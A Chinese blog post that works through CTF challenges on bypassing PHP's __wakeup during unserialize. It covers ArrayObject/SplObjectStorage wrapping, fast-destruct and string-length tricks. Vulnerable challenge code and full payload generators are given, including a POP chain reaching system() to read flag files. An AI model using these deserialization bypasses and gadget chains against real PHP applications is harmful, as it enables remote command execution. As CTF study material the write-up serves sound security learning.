欢迎光临散文网 会员登陆 & 注册

wake_up绕过

2023-08-01 11:20 作者:1llustrious  | 我要投稿

写在前面:

参考文章:https://www.yuque.com/boogipop/tdotcs/hobe2yqmb3kgy1l8?singleDoc#a0oue

https://fushuling.com/index.php/2023/03/11/php%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e4%b8%adwakeup%e7%bb%95%e8%bf%87%e6%80%bb%e7%bb%93/#fast-destruct

https://www.cnblogs.com/APPPQRS/p/16862351.html

https://hackerqwq.github.io/2021/08/29/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%B0%8F%E6%8A%80%E5%B7%A7%E4%B9%8BFast-Destruct/

内置类trick

ctfshow愚人杯 easy_web

class ctfshow{    public function __wakeup(){        die("not allowed!");    }    public function __destruct(){        system($this->ctfshow);    } } $data = $_GET['1+1>2']; if(!preg_match("/^[Oa]:[\d]+/i", $data)){    unserialize($data); } ?>

有wakeup,php版本7.3,绕过难度较高

将O直接改为C可以绕过wakeup,但不携带属性,只有一个ctfshow类,无法fastdestruct

可以使用内置类ArrayObject,

将序列化对象封装成array,再用ArrayObject 包装array

就会出现C开头的可被反序列化的内容,

payload:

class ctfshow{ public $ctfshow; public function __construct(){    $this->ctfshow='tac /f1*'; } } $a=new ctfshow(); $arr=['evil'=>$a]; $ar=new ArrayObject($arr); echo urlencode(serialize($ar));

可用类:

  • ArrayObject::unserialize

  • ArrayIterator::unserialize

  • RecursiveArrayIterator::unserialize

  • SplObjectStorage::unserialize

SplObjectStorage:

class ctfshow{ public $ctfshow; public function __construct(){    $this->ctfshow='tac /f1*'; } } $a=new ctfshow(); $arr=['evil'=>$a]; $ar=new SplObjectStorage($arr); $ar->test=$arr; echo urlencode(serialize($ar));


fast-destruct

在PHP中如果单独执行unserialize()函数,则反序列化后得到的生命周期仅限于这个函数执行的生命周期,在执行完unserialize()函数时就会执行__destruct()方法

而如果将unserialize()函数执行后得到的字符串赋值给了一个变量,则反序列化的对象的生命周期就会变长,会一直到对象被销毁才执行析构方法

<?php highlight_file(__FILE__); error_reporting(0); class fine {    private $cmd;    private $content;    public function __construct($cmd, $content)    {        $this->cmd = $cmd;        $this->content = $content;    }    public function __invoke()    {        call_user_func($this->cmd, $this->content);    }    public function __wakeup()    {        $this->cmd = "";        die("Go listen to Jay Chou's secret-code! Really nice");    } } class show {    public $ctf;    public $time = "Two and a half years";    public function __construct($ctf)    {        $this->ctf = $ctf;    }    public function __toString()    {        return $this->ctf->show();    }    public function show(): string    {        return $this->ctf . ": Duration of practice: " . $this->time;    } } class sorry {    private $name;    private $password;    public $hint = "hint is depend on you";    public $key;    public function __construct($name, $password)    {        $this->name = $name;        $this->password = $password;    }    public function __sleep()    {        $this->hint = new secret_code();    }    public function __get($name)    {        $name = $this->key;        $name();    }    public function __destruct()    {        if ($this->password == $this->name) {            echo $this->hint;        } else if ($this->name = "jay") {            secret_code::secret();        } else {            echo "This is our code";        }    }    public function getPassword()    {        return $this->password;    }    public function setPassword($password): void    {        $this->password = $password;    } } class secret_code {    protected $code;    public static function secret()    {        include_once "hint.php";        hint();    }    public function __call($name, $arguments)    {        $num = $name;        $this->$num();    }    private function show()    {        return $this->code->secret;    } } if (isset($_GET['pop'])) {    $a = unserialize($_GET['pop']);    $a->setPassword(md5(mt_rand())); } else {    $a = new show("Ctfer");    echo $a->show(); }

payload:

<?php class sorry {   public $name;    public $password;    public $key;    public $hint; } class show {    public $ctf; } class secret_code {    public $code; } class fine {    public $cmd;    public $content;    public function __construct()    {        $this->cmd = 'system';        $this->content = ' /';    } } $a=new sorry(); $b=new show(); $c=new secret_code(); $d=new fine(); $a->hint=$b; $b->ctf=$c; $e=new sorry(); $e->hint=$d; $c->code=$e; $e->key=$d; echo (serialize($a)); //O:5:"sorry":4:{s:4:"name";N;s:8:"password";N;s:3:"key";N;s:4:"hint";O:4:"show":1:{s:3:"ctf";O:11:"secret_code":1:{s:4:"code";O:5:"sorry":4:{s:4:"name";N;s:8:"password";N;s:3:"key";O:4:"fine":2:{s:3:"cmd";s:6:"system";s:7:"content";s:2:" /";}s:4:"hint";r:10;}}}}

在payload最后的}去掉,是的成员得到反序列化后强行退出反序列化,提前执行destruct或在最后添加1

字符串长度错误

<?php highlight_file(__FILE__); class A {    public $info;    private $end = "1";    public function __destruct()    {        $this->info->func();        echo "des";    } } class B {    public $znd;    public function __wakeup()    {        $this->znd = "exit();";        echo '__wakeup';    }        public function __call($method, $args)    {        echo "__call ";    } } if(isset($_POST['pop'])){    @unserialize($_POST['pop']); }<?php class A {    public $info;    private $end = "1";    public function __destruct()    {    } } class B {    public $znd;    public function __wakeup()    {    }        public function __call($method, $args)    {    } } $test=new A(); $test->info=new B(); echo serialize($test); #O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"znd";N;}s:6:"Aend";s:1:"1";}


wake_up绕过的评论 (共 条)

分享到微博请遵守国家法律